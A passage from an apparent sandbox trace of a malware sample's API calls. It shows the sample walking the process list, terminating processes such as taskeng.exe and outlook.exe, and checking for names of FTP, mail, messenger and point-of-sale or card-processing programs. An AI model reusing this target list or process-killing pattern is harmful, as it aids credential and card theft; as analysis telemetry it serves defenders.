OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x4c8) returned 0xc4 [0126.978] TerminateProcess (hProcess=0xc4, uExitCode=0xffffffff) returned 1 [0126.984] CloseHandle (hObject=0xc4) returned 1 [0126.984] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0126.985] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x588) returned 0xc4 [0126.985] TerminateProcess (hProcess=0xc4, uExitCode=0xffffffff) returned 1 [0126.989] CloseHandle (hObject=0xc4) returned 1 [0126.989] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far_responsible.exe")) returned 1 [0126.990] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aims.exe")) returned 1 [0126.990] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="somersetavenue.exe")) returned 1 [0126.991] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="probability.exe")) returned 1 [0126.992] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="number.exe")) returned 1 [0126.992] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribe-alabama.exe")) returned 1 [0126.993] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bold.exe")) returned 1 [0126.993] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="open additionally roses.exe")) returned 1 [0126.994] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="battledavidsonsale.exe")) returned 1 [0126.995] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="access-damaged.exe")) returned 1 [0126.995] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gardens.exe")) returned 1 [0126.996] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wanted_lloyd.exe")) returned 1 [0126.997] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="regional.exe")) returned 1 [0126.997] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="combatdonations.exe")) returned 1 [0126.998] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gravitysubstantialtruth.exe")) returned 1 [0126.999] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="party_glory.exe")) returned 1 [0126.999] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="comparison.exe")) returned 1 [0127.000] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="speed-agreement-laptops.exe")) returned 1 [0127.001] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0127.001] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0127.002] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0127.003] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0127.003] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0127.004] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0127.004] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0127.005] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0127.006] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0127.006] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0127.007] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0127.008] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0127.008] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0127.009] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0127.010] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0127.010] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0127.054] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0127.056] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0127.057] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x81c) returned 0xc4 [0127.057] TerminateProcess (hProcess=0xc4, uExitCode=0xffffffff) returned 1 [0127.059] CloseHandle (hObject=0xc4) returned 1 [0127.059] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0127.060] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0127.061] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0127.062] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0127.063] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0127.064] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0127.065] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0127.066] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0127.067] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0127.068] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0127.069] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0127.070] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0127.071] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0127.072] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0127.073] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0127.074] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0127.075] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0127.076] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0127.077] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0127.078] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0127.079] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0127.080] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0127.081] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0127.081] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0127.082] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0127.083] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0127.084] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="capability.exe")) returned 1 [0127.085] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="improve.exe")) returned 1 [0127.086] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="increase-lc.exe")) returned 1 [0127.086] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0127.087] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xa18) returned 0x0 [0127.087] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0127.088] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xa50) returned 0x0 [0127.088] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0127.104] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xb98) returned 0x0 [0127.104] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lok.exe")) returned 1 [0127.104] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0127.105] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.106] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.107] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0127.108] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0127.108] CloseHandle (hObject=0x120) returned 1 [0127.108] GetProcessHeap () returned 0x2a0000 [0127.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7208 | out: hHeap=0x2a0000) returned 1 [0127.108] GetProcessHeap () returned 0x2a0000 [0127.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1050 | out: hHeap=0x2a0000) returned 1 [0127.108] GetProcessHeap () returned 0x2a0000 [0127.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bea80 | out: hHeap=0x2a0000) returned 1 [0127.109] GetProcessHeap () returned 0x2a0000 [0127.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1168 | out: hHeap=0x2a0000) returned 1 [0127.109] GetProcessHeap () returned 0x2a0000 [0127.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beaa0 | out: hHeap=0x2a0000) returned 1 [0127.109] GetProcessHeap () returned 0x2a0000 [0127.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c10a0 | out: hHeap=0x2a0000) returned 1 [0127.109] GetProcessHeap () returned 0x2a0000 [0127.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beab0 | out: hHeap=0x2a0000) returned 1 [0127.109] GetProcessHeap () returned 0x2a0000 [0127.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beed0 | out: hHeap=0x2a0000) returned 1 [0127.109] GetProcessHeap () returned 0x2a0000 [0127.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beac0 | out: hHeap=0x2a0000) returned 1 [0127.109] GetProcessHeap () returned 0x2a0000 [0127.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c10c8 | out: hHeap=0x2a0000) returned 1 [0127.109] GetProcessHeap () returned 0x2a0000 [0127.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bead0 | out: hHeap=0x2a0000) returned 1 [0127.109] GetProcessHeap () returned 0x2a0000 [0127.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beef0 | out: hHeap=0x2a0000) returned 1 [0127.109] GetProcessHeap () returned 0x2a0000 [0127.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, 